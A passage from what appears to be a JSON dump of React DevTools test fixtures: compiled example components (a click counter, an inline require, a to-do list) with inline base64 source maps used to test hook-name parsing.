ZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5jb25zdCB7dXNlTWVtbywgdXNlU3RhdGV9ID0gcmVxdWlyZSgncmVhY3QnKTtcblxuZnVuY3Rpb24gQ29tcG9uZW50KHByb3BzKSB7XG4gIGNvbnN0IElubmVyQ29tcG9uZW50ID0gdXNlTWVtbygoKSA9PiAoKSA9PiB7XG4gICAgY29uc3QgW3N0YXRlXSA9IHVzZVN0YXRlKDApO1xuXG4gICAgcmV0dXJuIHN0YXRlO1xuICB9KTtcbiAgcHJvcHMuY2FsbGJhY2soSW5uZXJDb21wb25lbnQpO1xuXG4gIHJldHVybiBudWxsO1xufVxuXG5tb2R1bGUuZXhwb3J0cyA9IHtDb21wb25lbnR9O1xuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiIsIklubmVyQ29tcG9uZW50Iiwic3RhdGUiXSwibWFwcGluZ3MiOiJDQUFEO1l5QkNBO2FMQ0EsQVdEQTtnQjNCREEifV1dfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index-map/ContainingStringSourceMappingURL.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbnRhaW5pbmdTdHJpbmdTb3VyY2VNYXBwaW5nVVJMLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFFQTtBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuLy8gP3NvdXJjZU1hcHBpbmdVUkw9KFteXFxzJ1wiXSspL2dtXG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIChcbiAgICA8ZGl2PlxuICAgICAgPHA+WW91IGNsaWNrZWQge2NvdW50fSB0aW1lczwvcD5cbiAgICAgIDxidXR0b24gb25DbGljaz17KCkgPT4gc2V0Q291bnQoY291bnQgKyAxKX0+Q2xpY2sgbWU8L2J1dHRvbj5cbiAgICA8L2Rpdj5cbiAgKTtcbn1cbiJdLCJ4X3JlYWN0X3NvdXJjZXMiOltbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJjb3VudCJdLCJtYXBwaW5ncyI6IkNBQUQ7ZTRCQ0EsQVdEQSJ9XV19fV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index-map/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkV4YW1wbGUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJzZXRDb3VudCJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50LCBzZXRDb3VudF0gPSB1c2VTdGF0ZSgwKTtcblxuICByZXR1cm4gKFxuICAgIDxkaXY+XG4gICAgICA8cD5Zb3UgY2xpY2tlZCB7Y291bnR9IHRpbWVzPC9wPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXsoKSA9PiBzZXRDb3VudChjb3VudCArIDEpfT5DbGljayBtZTwvYnV0dG9uPlxuICAgIDwvZGl2PlxuICApO1xufVxuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiIsImNvdW50Il0sIm1hcHBpbmdzIjoiQ0FBRDthNEJDQSxBV0RBIn1dXX19XX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index-map/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIklubGluZVJlcXVpcmUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJyZXF1aXJlIiwidXNlU3RhdGUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFBQTs7Ozs7Ozs7QUFTTyxTQUFTQSxTQUFULEdBQXFCO0FBQzFCLFFBQU0sQ0FBQ0MsS0FBRCxJQUFVQyxPQUFPLENBQUMsT0FBRCxDQUFQLENBQWlCQyxRQUFqQixDQUEwQixDQUExQixDQUFoQjs7QUFFQSxTQUFPRixLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50XSA9IHJlcXVpcmUoJ3JlYWN0JykudXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIGNvdW50O1xufVxuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiJdLCJtYXBwaW5ncyI6IkNBQUQifV1dfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index-map/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIlRvRG9MaXN0LmpzIl0sIm5hbWVzIjpbIkxpc3RJdGVtIiwiaXRlbSIsInJlbW92ZUl0ZW0iLCJ0b2dnbGVJdGVtIiwiaGFuZGxlRGVsZXRlIiwiaGFuZGxlVG9nZ2xlIiwiaXNDb21wbGV0ZSIsInRleHQiLCJMaXN0IiwicHJvcHMiLCJuZXdJdGVtVGV4dCIsInNldE5ld0l0ZW1UZXh0IiwiaXRlbXMiLCJzZXRJdGVtcyIsImlkIiwidWlkIiwic2V0VUlEIiwiaGFuZGxlQ2xpY2siLCJoYW5kbGVLZXlQcmVzcyIsImV2ZW50Iiwia2V5IiwiaGFuZGxlQ2hhbmdlIiwiY3VycmVudFRhcmdldCIsInZhbHVlIiwiaXRlbVRvUmVtb3ZlIiwiZmlsdGVyIiwiaXRlbVRvVG9nZ2xlIiwiaW5kZXgiLCJmaW5kSW5kZXgiLCJzbGljZSIsImNvbmNhdCIsIm1hcCJdLCJtYXBwaW5ncyI6Ijs7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFHTyxTQUFTQSxRQUFULENBQWtCO0FBQUNDLEVBQUFBLElBQUQ7QUFBT0MsRUFBQUEsVUFBUDtBQUFtQkMsRUFBQUE7QUFBbkIsQ0FBbEIsRUFBa0Q7QUFDdkQsUUFBTUMsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0QsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPQyxVQUFQLENBRmtCLENBQXJCO0FBSUEsUUFBTUcsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0YsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPRSxVQUFQLENBRmtCLENBQXJCO0FBSUEsc0JBQ0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsa0JBQ0U7QUFBUSxJQUFBLE9BQU8sRUFBRUMsWUFBakI7QUFBQTtBQUFBO0FBQUE7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QixNQU5ILENBTVVsQixLQUFLLENBQUNpQixLQUFOLENBQVlGLEtBQUssR0FBRyxDQUFwQixDQU5WLENBRE0sQ0FBUjtBQVNELEdBZmdCLEVBZ0JqQixDQUFDZixLQUFELENBaEJpQixDQUFuQjtBQW1CQSxzQkFDRSxvQkFBQyxjQUFEO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLFlBREYsZUFFRTtBQUNFLElBQUEsSUFBSSxFQUFDLE1BRFA7QUFFRSxJQUFBLFdBQVcsRUFBQyxrQkFGZDtBQUdFLElBQUEsS0FBSyxFQUFFRixXQUhUO0FBSUUsSUFBQSxRQUFRLEVBQUVXLFlBSlo7QUFLRSxJQUFBLFVBQVUsRUFBRUgsY0FMZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQUZGLGVBU0U7QUFBUSxJQUFBLFFBQVEsRUFBRVIsV0FBVyxLQUFLLEVBQWxDO0FBQXNDLElBQUEsT0FBTyxFQUFFTyxXQUEvQztBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxrQkFDRTtBQUFNLElBQUEsSUFBSSxFQUFDLEtBQVg7QUFBaUIsa0JBQVcsVUFBNUI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsV0FERixDQVRGLGVBY0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsS0FDR0wsS0FBSyxDQUFDbUIsR0FBTixDQUFVOUIsSUFBSSxpQkFDYixvQkFBQyxRQUFEO0FBQ0UsSUFBQSxHQUFHLEVBQUVBLElBQUksQ0FBQ2EsRUFEWjtBQUVFLElBQUEsSUFBSSxFQUFFYixJQUZSO0FBR0UsSUFBQSxVQUFVLEVBQUVDLFVBSGQ7QUFJRSxJQUFBLFVBQVUsRUFBRUMsVUFKZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQURELENBREgsQ0FkRixDQURGO0FBMkJEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7RnJhZ21lbnQsIHVzZUNhbGxiYWNrLCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gTGlzdEl0ZW0oe2l0ZW0sIHJlbW92ZUl0ZW0sIHRvZ2dsZUl0ZW19KSB7XG4gIGNvbnN0IGhhbmRsZURlbGV0ZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICByZW1vdmVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgcmVtb3ZlSXRlbV0pO1xuXG4gIGNvbnN0IGhhbmRsZVRvZ2dsZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICB0b2dnbGVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgdG9nZ2xlSXRlbV0pO1xuXG4gIHJldHVybiAoXG4gICAgPGxpPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXtoYW5kbGVEZWxldGV9PkRlbGV0ZTwvYnV0dG9uPlxuICAgICAgPGxhYmVsPlxuICAgICAgICA8aW5wdXRcbiAgICAgICAgICBjaGVja2VkPXtpdGVtLmlzQ29tcGxldGV9XG4gICAgICAgICAgb25DaGFuZ2U9e2hhbmRsZVRvZ2dsZX1cbiAgICAgICAgICB0eXBlPVwiY2hlY2tib3hcIlxuICAgICAgICAvPnsnICd9XG4gICAgICAgIHtpdGVtLnRleHR9XG4gICAgICA8L2xhYmVsPlxuICAgIDwvbGk+XG4gICk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBMaXN0KHByb3BzKSB7XG4gIGNvbnN0IFtuZXdJdGVtVGV4dCwgc2V0TmV3SXRlbVRleHRdID0gdXNlU3RhdGUoJycpO1xuICBjb25zdCBbaXRlbXMsIHNldEl0ZW1zX